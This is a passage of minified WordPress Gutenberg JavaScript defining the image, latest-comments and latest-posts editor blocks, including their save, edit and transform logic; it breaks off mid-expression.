0:i,v=at()({[`align${r}`]:r,[`size-${p}`]:p,"is-resized":c||u}),b=(0,$e.createElement)("img",{src:n,alt:o,className:m?`wp-image-${m}`:null,width:c,height:u,title:g}),_=(0,$e.createElement)($e.Fragment,null,l?(0,$e.createElement)("a",{className:s,href:l,target:d,rel:h},b):b,!Ze.RichText.isEmpty(a)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"figcaption",value:a}));return(0,$e.createElement)("figure",Ze.useBlockProps.save({className:v}),_)}},{attributes:{...Xc,title:{type:"string",source:"attribute",selector:"img",attribute:"title"},sizeSlug:{type:"string"}},supports:eu,save(e){let{attributes:t}=e;const{url:n,alt:o,caption:a,align:r,href:l,rel:i,linkClass:s,width:c,height:u,id:m,linkTarget:d,sizeSlug:p,title:g}=t,h=(0,St.isEmpty)(i)?void 0:i,v=at()({[`align${r}`]:r,[`size-${p}`]:p,"is-resized":c||u}),b=(0,$e.createElement)("img",{src:n,alt:o,className:m?`wp-image-${m}`:null,width:c,height:u,title:g}),_=(0,$e.createElement)($e.Fragment,null,l?(0,$e.createElement)("a",{className:s,href:l,target:d,rel:h},b):b,!Ze.RichText.isEmpty(a)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"figcaption",value:a}));return"left"===r||"right"===r||"center"===r?(0,$e.createElement)("div",Ze.useBlockProps.save(),(0,$e.createElement)("figure",{className:v},_)):(0,$e.createElement)("figure",Ze.useBlockProps.save({className:v}),_)}},{attributes:Xc,save(e){let{attributes:t}=e;const{url:n,alt:o,caption:a,align:r,href:l,width:i,height:s,id:c}=t,u=at()({[`align${r}`]:r,"is-resized":i||s}),m=(0,$e.createElement)("img",{src:n,alt:o,className:c?`wp-image-${c}`:null,width:i,height:s});return(0,$e.createElement)("figure",{className:u},l?(0,$e.createElement)("a",{href:l},m):m,!Ze.RichText.isEmpty(a)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"figcaption",value:a}))}},{attributes:Xc,save(e){let{attributes:t}=e;const{url:n,alt:o,caption:a,align:r,href:l,width:i,height:s,id:c}=t,u=(0,$e.createElement)("img",{src:n,alt:o,className:c?`wp-image-${c}`:null,width:i,height:s});return(0,$e.createElement)("figure",{className:r?`align${r}`:null},l?(0,$e.createElement)("a",{href:l},u):u,!Ze.RichText.isEmpty(a)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"figcaption",value:a}))}},{attributes:Xc,save(e){let{attributes:t}=e;const{url:n,alt:o,caption:a,align:r,href:l,width:i,height:s}=t,c=i||s?{width:i,height:s}:{},u=(0,$e.createElement)("img",nt({src:n,alt:o},c));let m={};return i?m={width:i}:"left"!==r&&"right"!==r||(m={maxWidth:"50%"}),(0,$e.createElement)("figure",{className:r?`align${r}`:null,style:m},l?(0,$e.createElement)("a",{href:l},u):u,!Ze.RichText.isEmpty(a)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"figcaption",value:a}))}}],nu=tu,ou=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M16.5 7.8v7H18v-7c0-1-.8-1.8-1.8-1.8h-7v1.5h7c.2 0 .3.1.3.3zm-8.7 8.7c-.1 0-.2-.1-.2-.2V2H6v4H2v1.5h4v8.8c0 1 .8 1.8 1.8 1.8h8.8v4H18v-4h4v-1.5H7.8z"})),au=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M18.5 15v3.5H13V6.7l4.5 4.1 1-1.1-6.2-5.8-5.8 5.8 1 1.1 4-4v11.7h-6V15H4v5h16v-5z"})),ru=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12-9.8c.4 0 .8-.3.9-.7l1.1-3h3.6l.5 1.7h1.9L13 9h-2.2l-3.4 9.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v12H20V6c0-1.1-.9-2-2-2zm-6 7l1.4 3.9h-2.7L12 11z"}));function lu(e,t){const[n,o]=(0,$e.useState)();function a(){var t;o(null===(t=e.current)||void 0===t?void 0:t.clientWidth)}return(0,$e.useEffect)(a,t),(0,$e.useEffect)((()=>{const{defaultView:t}=e.current.ownerDocument;return t.addEventListener("resize",a),()=>{t.removeEventListener("resize",a)}}),[]),n}function iu(e){var t,n;let{temporaryURL:o,attributes:a,setAttributes:r,isSelected:l,insertBlocksAfter:i,onReplace:s,onSelectImage:c,onSelectURL:u,onUploadError:m,containerRef:d,context:p,clientId:g,isContentLocked:h}=e;const{url:v="",alt:b,caption:_,align:y,id:f,href:k,rel:x,linkClass:w,linkDestination:E,title:C,width:S,height:B,linkTarget:T,sizeSlug:N}=a,P=(0,$e.useRef)(),I=(0,$e.useRef)(),z=(0,Wt.usePrevious)(v),{allowResize:M=!0}=p,{getBlock:L}=(0,it.useSelect)(Ze.store),{image:R,multiImageSelection:A}=(0,it.useSelect)((e=>{const{getMedia:t}=e(lt.store),{getMultiSelectedBlockClientIds:n,getBlockName:o}=e(Ze.store),a=n();return{image:f&&l?t(f,{context:"view"}):null,multiImageSelection:a.length&&a.every((e=>"core/image"===o(e)))}}),[f,l,g]),{canInsertCover:V,imageEditing:H,imageSizes:D,maxWidth:F,mediaUpload:G}=(0,it.useSelect)((e=>{const{getBlockRootClientId:t,getSettings:n,canInsertBlockType:o}=e(Ze.store),a=t(g);return{...(0,St.pick)(n(),["imageEditing","imageSizes","maxWidth","mediaUpload"]),canInsertCover:o("core/cover",a)}}),[g]),{replaceBlocks:$,toggleSelection:U}=(0,it.useDispatch)(Ze.store),{createErrorNotice:O,createSuccessNotice:q}=(0,it.useDispatch)(wt.store),W=(0,Wt.useViewportMatch)("medium"),j=(0,St.includes)(["wide","full"],y),[{loadedNaturalWidth:Z,loadedNaturalHeight:Q},K]=(0,$e.useState)({}),[Y,J]=(0,$e.useState)(!1),[X,ee]=(0,$e.useState)(),te=lu(d,[y]),ne=M&&!h&&!(j&&W),oe=(0,St.map)((0,St.filter)(D,(e=>{let{slug:t}=e;return(0,St.get)(R,["media_details","sizes",t,"source_url"])})),(e=>{let{name:t,slug:n}=e;return{value:n,label:t}}));(0,$e.useEffect)((()=>{cu(f,v)&&l&&!X&&window.fetch(v).then((e=>e.blob())).then((e=>ee(e))).catch((()=>{}))}),[f,v,l,X]),(0,$e.useEffect)((()=>{v&&!z&&l&&I.current.focus()}),[v,z]);const{naturalWidth:ae,naturalHeight:re}=(0,$e.useMemo)((()=>{var e,t;return{naturalWidth:(null===(e=P.current)||void 0===e?void 0:e.naturalWidth)||Z||void 0,naturalHeight:(null===(t=P.current)||void 0===t?void 0:t.naturalHeight)||Q||void 0}}),[Z,Q,null===(t=P.current)||void 0===t?void 0:t.complete]);(0,$e.useEffect)((()=>{l||J(!1)}),[l]);const le=f&&ae&&re&&H,ie=!A&&le&&!Y,se=(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,{group:"block"},!h&&(0,$e.createElement)(Ze.BlockAlignmentControl,{value:y,onChange:function(e){const t=["wide","full"].includes(e)?{width:void 0,height:void 0}:{};r({...t,align:e})}}),!A&&!Y&&(0,$e.createElement)(Ze.__experimentalImageURLInputUI,{url:k||"",onChangeUrl:function(e){r(e)},linkDestination:E,mediaUrl:R&&R.source_url||v,mediaLink:R&&R.link,linkTarget:T,linkClass:w,rel:x}),ie&&(0,$e.createElement)(We.ToolbarButton,{onClick:()=>J(!0),icon:ou,label:(0,je.__)("Crop")}),X&&(0,$e.createElement)(We.ToolbarButton,{onClick:function(){G({filesList:[X],onFileChange(e){let[t]=e;c(t),(0,xt.isBlobURL)(t.url)||(ee(),q((0,je.__)("Image uploaded."),{type:"snackbar"}))},allowedTypes:ks,onError(e){O(e,{type:"snackbar"})}})},icon:au,label:(0,je.__)("Upload external image")}),!A&&V&&(0,$e.createElement)(We.ToolbarButton,{icon:ru,label:(0,je.__)("Add text over image"),onClick:function(){$(g,(0,Ge.switchToBlockType)(L(g),"core/cover"))}})),!A&&!Y&&(0,$e.createElement)(Ze.BlockControls,{group:"other"},(0,$e.createElement)(Ze.MediaReplaceFlow,{mediaId:f,mediaURL:v,allowedTypes:ks,accept:"image/*",onSelect:c,onSelectURL:u,onError:m})),(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings")},!A&&(0,$e.createElement)(We.TextareaControl,{label:(0,je.__)("Alt text (alternative text)"),value:b,onChange:function(e){r({alt:e})},help:(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(We.ExternalLink,{href:"https://www.w3.org/WAI/tutorials/images/decision-tree"},(0,je.__)("Describe the purpose of the image")),(0,je.__)("Leave empty if the image is purely decorative."))}),(0,$e.createElement)(Ze.__experimentalImageSizeControl,{onChangeImage:function(e){const t=(0,St.get)(R,["media_details","sizes",e,"source_url"]);if(!t)return null;r({url:t,width:void 0,height:void 0,sizeSlug:e})},onChange:e=>r(e),slug:N,width:S,height:B,imageSizeOptions:oe,isResizable:ne,imageWidth:ae,imageHeight:re}))),(0,$e.createElement)(Ze.InspectorControls,{__experimentalGroup:"advanced"},(0,$e.createElement)(We.TextControl,{label:(0,je.__)("Title attribute"),value:C||"",onChange:function(e){r({title:e})},help:(0,$e.createElement)($e.Fragment,null,(0,je.__)("Describe the role of this image on the page."),(0,$e.createElement)(We.ExternalLink,{href:"https://www.w3.org/TR/html52/dom.html#the-title-attribute"},(0,je.__)("(Note: many devices and browsers do not display this text.)")))}))),ce=(0,rt.getFilename)(v);let ue;ue=b||(ce?(0,je.sprintf)(
/* translators: %s: file name */
(0,je.__)("This image has an empty alt attribute; its file name is %s"),ce):(0,je.__)("This image has an empty alt attribute"));const me=(0,Ze.__experimentalUseBorderProps)(a),de=null===(n=a.className)||void 0===n?void 0:n.includes("is-style-rounded"),pe=!!me.className||!(0,St.isEmpty)(me.style);let ge,he,ve=(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)("img",{src:o||v,alt:ue,onError:()=>function(){const e=Lt({attributes:{url:v}});void 0!==e&&s(e)}(),onLoad:e=>{var t,n;K({loadedNaturalWidth:null===(t=e.target)||void 0===t?void 0:t.naturalWidth,loadedNaturalHeight:null===(n=e.target)||void 0===n?void 0:n.naturalHeight})},ref:P,className:me.className,style:me.style}),o&&(0,$e.createElement)(We.Spinner,null));if(te&&ae&&re){const e=ae>te,t=re/ae;ge=e?te:ae,he=e?te*t:re}if(le&&Y)ve=(0,$e.createElement)(Ze.__experimentalImageEditor,{borderProps:de?void 0:me,url:v,width:S,height:B,clientWidth:te,naturalHeight:re,naturalWidth:ae});else if(ne&&ge){const e=S||ge,t=B||he,n=ae/re,o=ae<re?hs:hs*n,a=re<ae?hs:hs/n,i=2.5*F;let s=!1,c=!1;"center"===y?(s=!0,c=!0):(0,je.isRTL)()?"left"===y?s=!0:c=!0:"right"===y?c=!0:s=!0,ve=(0,$e.createElement)(We.ResizableBox,{size:{width:null!=S?S:"auto",height:B&&!pe?B:"auto"},showHandle:l,minWidth:o,maxWidth:i,minHeight:a,maxHeight:i/n,lockAspectRatio:!0,enable:{top:!1,right:s,bottom:!0,left:c},onResizeStart:function(){U(!1)},onResizeStop:(n,o,a,l)=>{U(!0),r({width:parseInt(e+l.width,10),height:parseInt(t+l.height,10)})}},ve)}else ve=(0,$e.createElement)("div",{style:{width:S,height:B}},ve);return(0,$e.createElement)(Ze.__experimentalImageEditingProvider,{id:f,url:v,naturalWidth:ae,naturalHeight:re,clientWidth:te,onSaveImage:e=>r(e),isEditing:Y,onFinishEditing:()=>J(!1)},!o&&se,ve,(!Ze.RichText.isEmpty(_)||l)&&(0,$e.createElement)(Ze.RichText,{className:(0,Ze.__experimentalGetElementClassName)("caption"),ref:I,tagName:"figcaption","aria-label":(0,je.__)("Image caption text"),placeholder:(0,je.__)("Add caption"),value:_,onChange:e=>r({caption:e}),inlineToolbar:!0,__unstableOnSplitAtEnd:()=>i((0,Ge.createBlock)((0,Ge.getDefaultBlockName)()))}))}const su=e=>(0,$e.createElement)(We.Placeholder,{className:"block-editor-media-placeholder",withIllustration:!0,icon:Rs,label:(0,je.__)("Image"),instructions:(0,je.__)("Upload an image file, pick one from your media library, or add one with a URL.")},e),cu=(e,t)=>t&&!e&&!(0,xt.isBlobURL)(t);function uu(e,t){const{body:n}=document.implementation.createHTMLDocument("");n.innerHTML=e;const{firstElementChild:o}=n;if(o&&"A"===o.nodeName)return o.getAttribute(t)||void 0}const mu={img:{attributes:["src","alt","title"],classes:["alignleft","aligncenter","alignright","alignnone",/^wp-image-\d+$/]}},du={from:[{type:"raw",isMatch:e=>"FIGURE"===e.nodeName&&!!e.querySelector("img"),schema:e=>{let{phrasingContentSchema:t}=e;return{figure:{require:["img"],children:{...mu,a:{attributes:["href","rel","target"],children:mu},figcaption:{children:t}}}}},transform:e=>{const t=e.className+" "+e.querySelector("img").className,n=/(?:^|\s)align(left|center|right)(?:$|\s)/.exec(t),o=""===e.id?void 0:e.id,a=n?n[1]:void 0,r=/(?:^|\s)wp-image-(\d+)(?:$|\s)/.exec(t),l=r?Number(r[1]):void 0,i=e.querySelector("a"),s=i&&i.href?"custom":void 0,c=i&&i.href?i.href:void 0,u=i&&i.rel?i.rel:void 0,m=i&&i.className?i.className:void 0,d=(0,Ge.getBlockAttributes)("core/image",e.outerHTML,{align:a,id:l,linkDestination:s,href:c,rel:u,linkClass:m,anchor:o});return(0,Ge.createBlock)("core/image",d)}},{type:"files",isMatch(e){if(e.some((e=>0===e.type.indexOf("image/")))&&e.some((e=>0!==e.type.indexOf("image/")))){const{createErrorNotice:e}=(0,it.dispatch)(wt.store);e((0,je.__)("If uploading to a gallery all files need to be image formats"),{id:"gallery-transform-invalid-file",type:"snackbar"})}return(0,St.every)(e,(e=>0===e.type.indexOf("image/")))},transform:e=>e.map((e=>(0,Ge.createBlock)("core/image",{url:(0,xt.createBlobURL)(e)})))},{type:"shortcode",tag:"caption",attributes:{url:{type:"string",source:"attribute",attribute:"src",selector:"img"},alt:{type:"string",source:"attribute",attribute:"alt",selector:"img"},caption:{shortcode:function(e,t){let{shortcode:n}=t;const{body:o}=document.implementation.createHTMLDocument("");o.innerHTML=n.content;let a=o.querySelector("img");for(;a&&a.parentNode&&a.parentNode!==o;)a=a.parentNode;return a&&a.parentNode.removeChild(a),o.innerHTML.trim()}},href:{shortcode:(e,t)=>{let{shortcode:n}=t;return uu(n.content,"href")}},rel:{shortcode:(e,t)=>{let{shortcode:n}=t;return uu(n.content,"rel")}},linkClass:{shortcode:(e,t)=>{let{shortcode:n}=t;return uu(n.content,"class")}},id:{type:"number",shortcode:e=>{let{named:{id:t}}=e;if(t)return parseInt(t.replace("attachment_",""),10)}},align:{type:"string",shortcode:e=>{let{named:{align:t="alignnone"}}=e;return t.replace("align","")}}}}]},pu=du,gu={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/image",title:"Image",category:"media",usesContext:["allowResize","imageCrop","fixedHeight"],description:"Insert an image to make a visual statement.",keywords:["img","photo","picture"],textdomain:"default",attributes:{align:{type:"string"},url:{type:"string",source:"attribute",selector:"img",attribute:"src",__experimentalRole:"content"},alt:{type:"string",source:"attribute",selector:"img",attribute:"alt",default:"",__experimentalRole:"content"},caption:{type:"string",source:"html",selector:"figcaption",__experimentalRole:"content"},title:{type:"string",source:"attribute",selector:"img",attribute:"title",__experimentalRole:"content"},href:{type:"string",source:"attribute",selector:"figure > a",attribute:"href",__experimentalRole:"content"},rel:{type:"string",source:"attribute",selector:"figure > a",attribute:"rel"},linkClass:{type:"string",source:"attribute",selector:"figure > a",attribute:"class"},id:{type:"number",__experimentalRole:"content"},width:{type:"number"},height:{type:"number"},sizeSlug:{type:"string"},linkDestination:{type:"string"},linkTarget:{type:"string",source:"attribute",selector:"figure > a",attribute:"target"}},supports:{anchor:!0,color:{__experimentalDuotone:"img, .components-placeholder",text:!1,background:!1},__experimentalBorder:{color:!0,radius:!0,width:!0,__experimentalSelector:"img, .wp-block-image__crop-area",__experimentalSkipSerialization:!0,__experimentalDefaultControls:{color:!0,radius:!0,width:!0}}},styles:[{name:"default",label:"Default",isDefault:!0},{name:"rounded",label:"Rounded"}],editorStyle:"wp-block-image-editor",style:"wp-block-image"},{name:hu}=gu,vu={icon:Rs,example:{attributes:{sizeSlug:"large",url:"https://s.w.org/images/core/5.3/MtBlanc1.jpg",
// translators: Caption accompanying an image of the Mont Blanc, which serves as an example for the Image block.
caption:(0,je.__)("Mont Blanc appears—still, snowy, and serene.")}},__experimentalLabel(e,t){let{context:n}=t;if("accessibility"===n){const{caption:t,alt:n,url:o}=e;return o?n?n+(t?". "+t:""):t||"":(0,je.__)("Empty")}},getEditWrapperProps:e=>({"data-align":e.align}),transforms:pu,edit:function(e){let{attributes:t,setAttributes:n,isSelected:o,className:a,insertBlocksAfter:r,onReplace:l,context:i,clientId:s}=e;const{url:c="",alt:u,caption:m,align:d,id:p,width:g,height:h,sizeSlug:v}=t,[b,_]=(0,$e.useState)(),y=(0,$e.useRef)();(0,$e.useEffect)((()=>{y.current=u}),[u]);const f=(0,$e.useRef)();(0,$e.useEffect)((()=>{f.current=m}),[m]);const k=(0,$e.useRef)(),{imageDefaultSize:x,mediaUpload:w,isContentLocked:E}=(0,it.useSelect)((e=>{const{getSettings:t,__unstableGetContentLockingParent:n}=e(Ze.store),o=t();return{imageDefaultSize:o.imageDefaultSize,mediaUpload:o.mediaUpload,isContentLocked:!!n(s)}}),[]),{createErrorNotice:C}=(0,it.useDispatch)(wt.store);function S(e){C(e,{type:"snackbar"}),n({src:void 0,id:void 0,url:void 0}),_(void 0)}function B(e){var o,a,r,l,i,s;if(!e||!e.url)return void n({url:void 0,alt:void 0,id:void 0,title:void 0,caption:void 0});if((0,xt.isBlobURL)(e.url))return void _(e.url);_();let u,m=((e,t)=>{const n=(0,St.pick)(e,["alt","id","link","caption"]);return n.url=(0,St.get)(e,["sizes",t,"url"])||(0,St.get)(e,["media_details","sizes",t,"source_url"])||e.url,n})(e,x);if(f.current&&!(0,St.get)(m,["caption"])){const{caption:e,...t}=m;m=t}var d,g,h,v,b,y,k;u=e.id&&e.id===p?{url:c}:{width:void 0,height:void 0,sizeSlug:(d=e,g=x,"url"in(null!==(h=null==d||null===(v=d.sizes)||void 0===v?void 0:v[g])&&void 0!==h?h:{})||"source_url"in(null!==(b=null==d||null===(y=d.media_details)||void 0===y||null===(k=y.sizes)||void 0===k?void 0:k[g])&&void 0!==b?b:{})?x:"full")};let w,E=t.linkDestination;if(!E)switch((null===(o=window)||void 0===o||null===(a=o.wp)||void 0===a||null===(r=a.media)||void 0===r||null===(l=r.view)||void 0===l||null===(i=l.settings)||void 0===i||null===(s=i.defaultProps)||void 0===s?void 0:s.link)||vs){case"file":case bs:E=bs;break;case"post":case _s:E=_s;break;case ys:E=ys;break;case vs:E=vs}switch(E){case bs:w=e.url;break;case _s:w=e.link}m.href=w,n({...m,...u,linkDestination:E})}function T(e){e!==c&&n({url:e,id:void 0,width:void 0,height:void 0,sizeSlug:x})}let N=((e,t)=>!e&&(0,xt.isBlobURL)(t))(p,c);(0,$e.useEffect)((()=>{if(!N)return;const e=(0,xt.getBlobByURL)(c);e&&w({filesList:[e],onFileChange:e=>{let[t]=e;B(t)},allowedTypes:ks,onError:e=>{N=!1,S(e)}})}),[]),(0,$e.useEffect)((()=>{N?_(c):(0,xt.revokeBlobURL)(b)}),[N,c]);const P=cu(p,c)?c:void 0,I=!!c&&(0,$e.createElement)("img",{alt:(0,je.__)("Edit image"),title:(0,je.__)("Edit image"),className:"edit-image-preview",src:c}),z=(0,Ze.__experimentalUseBorderProps)(t),M=at()(a,{"is-transient":b,"is-resized":!!g||!!h,[`size-${v}`]:v,"has-custom-border":!!z.className||!(0,St.isEmpty)(z.style)}),L=(0,Ze.useBlockProps)({ref:k,className:M});return(0,$e.createElement)("figure",L,(b||c)&&(0,$e.createElement)(iu,{temporaryURL:b,attributes:t,setAttributes:n,isSelected:o,insertBlocksAfter:r,onReplace:l,onSelectImage:B,onSelectURL:T,onUploadError:S,containerRef:k,context:i,clientId:s,isContentLocked:E}),!c&&!E&&(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(Ze.BlockAlignmentControl,{value:d,onChange:function(e){const t=["wide","full"].includes(e)?{width:void 0,height:void 0}:{};n({...t,align:e})}})),(0,$e.createElement)(Ze.MediaPlaceholder,{icon:(0,$e.createElement)(Ze.BlockIcon,{icon:Rs}),onSelect:B,onSelectURL:T,onError:S,placeholder:su,accept:"image/*",allowedTypes:ks,value:{id:p,src:P},mediaPreview:I,disableMediaButtons:b||c}))},save:function(e){let{attributes:t}=e;const{url:n,alt:o,caption:a,align:r,href:l,rel:i,linkClass:s,width:c,height:u,id:m,linkTarget:d,sizeSlug:p,title:g}=t,h=(0,St.isEmpty)(i)?void 0:i,v=(0,Ze.__experimentalGetBorderClassesAndStyles)(t),b=at()({[`align${r}`]:r,[`size-${p}`]:p,"is-resized":c||u,"has-custom-border":!!v.className||!(0,St.isEmpty)(v.style)}),_=at()(v.className,{[`wp-image-${m}`]:!!m}),y=(0,$e.createElement)("img",{src:n,alt:o,className:_||void 0,style:v.style,width:c,height:u,title:g}),f=(0,$e.createElement)($e.Fragment,null,l?(0,$e.createElement)("a",{className:s,href:l,target:d,rel:h},y):y,!Ze.RichText.isEmpty(a)&&(0,$e.createElement)(Ze.RichText.Content,{className:(0,Ze.__experimentalGetElementClassName)("caption"),tagName:"figcaption",value:a}));return(0,$e.createElement)("figure",Ze.useBlockProps.save({className:b}),f)},deprecated:nu},bu=()=>qe({name:hu,metadata:gu,settings:vu}),_u=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M18 4H6c-1.1 0-2 .9-2 2v12.9c0 .6.5 1.1 1.1 1.1.3 0 .5-.1.8-.3L8.5 17H18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5H7.9l-2.4 2.4V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v9z"})),yu={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/latest-comments",title:"Latest Comments",category:"widgets",description:"Display a list of your most recent comments.",keywords:["recent comments"],textdomain:"default",attributes:{commentsToShow:{type:"number",default:5,minimum:1,maximum:100},displayAvatar:{type:"boolean",default:!0},displayDate:{type:"boolean",default:!0},displayExcerpt:{type:"boolean",default:!0}},supports:{align:!0,html:!1},editorStyle:"wp-block-latest-comments-editor",style:"wp-block-latest-comments"},{name:fu}=yu,ku={icon:_u,example:{},edit:function(e){let{attributes:t,setAttributes:n}=e;const{commentsToShow:o,displayAvatar:a,displayDate:r,displayExcerpt:l}=t;return(0,$e.createElement)("div",(0,Ze.useBlockProps)(),(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings")},(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Display avatar"),checked:a,onChange:()=>n({displayAvatar:!a})}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Display date"),checked:r,onChange:()=>n({displayDate:!r})}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Display excerpt"),checked:l,onChange:()=>n({displayExcerpt:!l})}),(0,$e.createElement)(We.RangeControl,{label:(0,je.__)("Number of comments"),value:o,onChange:e=>n({commentsToShow:e}),min:1,max:100,required:!0}))),(0,$e.createElement)(We.Disabled,null,(0,$e.createElement)(Ke(),{block:"core/latest-comments",attributes:t,urlQueryArgs:{_locale:"site"}})))}},xu=()=>qe({name:fu,metadata:yu,settings:ku}),wu=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 14c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v12zM7 11h2V9H7v2zm0 4h2v-2H7v2zm3-4h7V9h-7v2zm0 4h7v-2h-7v2z"})),{attributes:Eu}={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/latest-posts",title:"Latest Posts",category:"widgets",description:"Display a list of your most recent posts.",keywords:["recent posts"],textdomain:"default",attributes:{categories:{type:"array",items:{type:"object"}},selectedAuthor:{type:"number"},postsToShow:{type:"number",default:5},displayPostContent:{type:"boolean",default:!1},displayPostContentRadio:{type:"string",default:"excerpt"},excerptLength:{type:"number",default:55},displayAuthor:{type:"boolean",default:!1},displayPostDate:{type:"boolean",default:!1},postLayout:{type:"string",default:"list"},columns:{type:"number",default:3},order:{type:"string",default:"desc"},orderBy:{type:"string",default:"date"},displayFeaturedImage:{type:"boolean",default:!1},featuredImageAlign:{type:"string",enum:["left","center","right"]},featuredImageSizeSlug:{type:"string",default:"thumbnail"},featuredImageSizeWidth:{type:"number",default:null},featuredImageSizeHeight:{type:"number",default:null},addLinkToFeaturedImage:{type:"boolean",default:!1}},supports:{align:!0,html:!1,typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}},editorStyle:"wp-block-latest-posts-editor",style:"wp-block-latest-posts"},Cu=[{attributes:{...Eu,categories:{type:"string"}},supports:{align:!0,html:!1},migrate:e=>({...e,categories:[{id:Number(e.categories)}]}),isEligible:e=>{let{categories:t}=e;return t&&"string"==typeof t},save:()=>null}],Su=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M4 4v1.5h16V4H4zm8 8.5h8V11h-8v1.5zM4 20h16v-1.5H4V20zm4-8c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2z"})),Bu=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm-7.8 16.5H5c-.3 0-.5-.2-.5-.5v-6.2h6.8v6.7zm0-8.3H4.5V5c0-.3.2-.5.5-.5h6.2v6.7zm8.3 7.8c0 .3-.2.5-.5.5h-6.2v-6.8h6.8V19zm0-7.8h-6.8V4.5H19c.3 0 .5.2.5.5v6.2z",fillRule:"evenodd",clipRule:"evenodd"})),Tu={per_page:-1,context:"view"},Nu={per_page:-1,has_published_posts:["post"],context:"view"},Pu={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/latest-posts",title:"Latest Posts",category:"widgets",description:"Display a list of your most recent posts.",keywords:["recent posts"],textdomain:"default",attributes:{categories:{type:"array",items:{type:"object"}},selectedAuthor:{type:"number"},postsToShow:{type:"number",default:5},displayPostContent:{type:"boolean",default:!1},displayPostContentRadio:{type:"string",default:"excerpt"},excerptLength:{type:"number",default:55},displayAuthor:{type:"boolean",default:!1},displayPostDate:{type:"boolean",default:!1},postLayout:{type:"string",default:"list"},columns:{type:"number",default:3},order:{type:"string",default:"desc"},orderBy:{type:"string",default:"date"},displayFeaturedImage:{type:"boolean",default:!1},featuredImageAlign:{type:"string",enum:["left","center","right"]},featuredImageSizeSlug:{type:"string",default:"thumbnail"},featuredImageSizeWidth:{type:"number",default:null},featuredImageSizeHeight:{type:"number",default:null},addLinkToFeaturedImage:{type:"boolean",default:!1}},supports:{align:!0,html:!1,typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}},editorStyle:"wp-block-latest-posts-editor",style:"wp-block-latest-posts"},{name:Iu}=Pu,zu={icon:wu,example:{},edit:function e(t){var n;let{attributes:o,setAttributes:a}=t;const r=(0,Wt.useInstanceId)(e),{postsToShow:l,order:i,orderBy:s,categories:c,selectedAuthor:u,displayFeaturedImage:m,displayPostContentRadio:d,displayPostContent:p,displayPostDate:g,displayAuthor:h,postLayout:v,columns:b,excerptLength:_,featuredImageAlign:y,featuredImageSizeSlug:f,featuredImageSizeWidth:k,featuredImageSizeHeight:x,addLinkToFeaturedImage:w}=o,{imageSizes:E,latestPosts:C,defaultImageWidth:S,defaultImageHeight:B,categoriesList:T,authorList:N}=(0,it.useSelect)((e=>{const{getEntityRecords:t,getUsers:n}=e(lt.store),o=e(Ze.store).getSettings(),a=c&&c.length>0?c.map((e=>e.id)):[],r=(0,St.pickBy)({categories:a,author:u,order:i,orderby:s,per_page:l,_embed:"wp:featuredmedia"},(e=>void 